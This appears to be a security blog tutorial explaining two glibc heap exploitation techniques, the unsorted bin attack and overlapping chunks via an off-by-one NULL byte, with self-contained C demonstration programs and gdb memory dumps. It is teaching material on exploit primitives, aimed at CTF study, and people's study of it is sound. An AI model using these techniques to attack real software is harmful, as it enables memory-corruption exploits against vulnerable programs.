Introduction
In this post, I will introduce the exploitation techniques on unsorted bin attack and overlapping chunk. I will use sample codes, which are similar to the sample code given in [1] to demonstrate unsorted bin attack. Furthermore, I will use the sample given in [2] to demonstrate how to create overlapping chunk via shrinking chunk size.
Unsorted bin attack
Similar to unlink, unsorted bin attack takes advantage of the following code on unsorted bin management to gain write-something-anywhere primitive. Since there is no security check in the code below, there will be more flexibility and more scenarios for unsorted bin attack.
bck = victim->bk; unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
We use the following code to demonstrate the basic operation of unsorted bin attack.
#include<stdio.h> #include<stdlib.h> int main() { unsigned long stack_var = 0x41414141; printf("stack var: %p\n", &stack_var); unsigned long *p = malloc(0x90); malloc(0xa0); free(p); //set BK of freed chunk *(p+1) = (unsigned long)(&stack_var) - 0x10; //trigger unsorted bin attack malloc(0x90); return 0; }
We dump the memory layout for a better understanding of unsorted bin attack.
//memory layout before unsorted bin attack 0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602560 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000000000 0x0000000000602410 0x7ffff7dd3b70 <main_arena+112>: 0x0000000000602410 0x00007ffff7dd3b68 (gdb) x/8gx 0x0000000000602410 0x602410: 0x0000000000000000 0x00000000000000a1 0x602420: 0x00007ffff7dd3b58 0x00007fffffffe150 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 (gdb) x/4gx 0x00007fffffffe150 0x7fffffffe150: 0x0000000000000000 0x00000000004005b3 0x7fffffffe160: 0x0000000041414141 0x0000000000602420 //memory layout after unsorted bin attack 0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602560 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000000000 0x0000000000602410 0x7ffff7dd3b70 <main_arena+112>: 0x00007fffffffe150 0x00007ffff7dd3b68 (gdb) x/4gx 0x00007fffffffe150 0x7fffffffe150: 0x00007fffffffe170 0x00000000004005d0 0x7fffffffe160: 0x00007ffff7dd3b58 0x0000000000602420 //Output: stack var: 0x7fffffffe160
In the code above, we demonstrate how we corrupt one value in stack. Before unsorted bin attack, we corrupt the BK pointer of victim chunk and make crafted pointer point to &stack_var. After unsorted bin attack, we can observe that we have changed the value at &stack_vat from 0x41414141 to the address of unsorted bin (0x00007ffff7dd3b58).
Overlapping Chunk
In [2], the author has given two different methods to create overlapping chunk via shrinking or extending chunks. In this post, I will only discuss the first one on how to create overlapping chunks via off-by-one NULL byte vulnerability in exploitation. Since that’s the techniques used in Ghost in the Heap. We recommend interested readers to read [2] for more information on overlapping chunks.
With an off-by-one NULL byte vulnerability, the attacker can only change the LSB of size of next adjacent chunk. Therefore, we can use such vulnerability to corrupt the size of next free chunk to create overlapping chunks. We use the following sample code for demonstration.
#include<stdio.h> #include<stdlib.h> int main() { unsigned long *p1 = malloc(0x30); unsigned long *p2 = malloc(0x160); unsigned long *p3 = malloc(0xf0); malloc(0x50); free(p2); //off-by-one null byte vulnerability unsigned char *pc = (unsigned char*)p1; *(pc + 0x38) = '\x00'; //create a fake adjacent next chunk *(p2 + 31) = 0x80; *(p2 + 30) = 0x100; unsigned long *p4 = malloc(0x80); unsigned long *p5 = malloc(0x30); free(p4); //create a overlapping chunk in unsorted bin free(p3); return 0; }
To view how chunks are manipulated in memory, we dump the memory layout in each step for explanation.
//overwrite the next adjacent chunk //craft a fake chunk 0x602000: 0x0000000000000000 0x0000000000000041 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000100//overwrite 0x170 to 0x100 0x602050: 0x00007ffff7dd3b58 0x00007ffff7dd3b58 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000100 0x0000000000000080 //fake adjacent next chunk 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000170 0x0000000000000100 //allocate p4, p5 and free p4 0x602000: 0x0000000000000000 0x0000000000000041 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000091 0x602050: 0x0000000000602110 0x00007ffff7dd3b58//p4 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000090 0x0000000000000040 0x6020e0: 0x00007ffff7dd3b58 0x00007ffff7dd3b58//p5 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000031 0x602120: 0x00007ffff7dd3b58 0x0000000000602040 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000030 0x0000000000000080 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000170 0x0000000000000100//p3 //after freeing p3 0x7ffff7dd3b00 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd3b50 <main_arena+80>: 0x0000000000000000 0x0000000000602310 0x7ffff7dd3b60 <main_arena+96>: 0x0000000000602110 0x0000000000602040 0x7ffff7dd3b70 <main_arena+112>: 0x0000000000602110 0x00007ffff7dd3b68 0x602000: 0x0000000000000000 0x0000000000000041 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000271 0x602050: 0x0000000000602110 0x00007ffff7dd3b58 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000090 0x0000000000000040 0x6020e0: 0x00007ffff7dd3b58 0x00007ffff7dd3b58 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000031 0x602120: 0x00007ffff7dd3b58 0x0000000000602040 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000030 0x0000000000000080 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000170 0x0000000000000100//original p3
In step 1, after freeing p2 we overwrite the size metadata of freed p2. At this point, we actually shrink the size of freed chunk to 0x100 and create a hole at 0x602150. One thing to note is that crafting fake chunk at line 18, 19 is necessary. Otherwise, it will result in abort message.
In step 2, our goal is to create a chunk (p5) in the middle of shrunk chunk. After that we can free p4 for further step.
In step 3, we free p3. After this, we have inserted two chunks in unsorted bin. One is chunk at 0x602040 of size 0x270, the second one is chunk at 0x602110 of size 0x30. In step 2, we have already allocated a chunk p5 at 0x6020e0. If the attacker tries to allocate a chunk of size 0x270, the newly allocated chunk will overlap with p5 for further exploitation.
Conclusion
In this post, we introduce two advanced exploitation techniques: Unsorted bin attack and overlapping chunks. The hard point of those techniques is the their broad flexibility to be combined with other exploitation techniques. Also their trigger condition is not very strict making them appear commonly in CTF challenges.
Reference
[1] https://github.com/shellphish/how2heap/blob/master/unsorted_bin_attack.c
[2] https://www.slideshare.net/AngelBoy1/advanced-heap-exploitaion
[…] exploitation plan is the same as my previous tutorial on overlapping chunk. The difficult part of this challenge is how to put two unsorted bin together in memory. I need to […]
LikeLiked by 1 person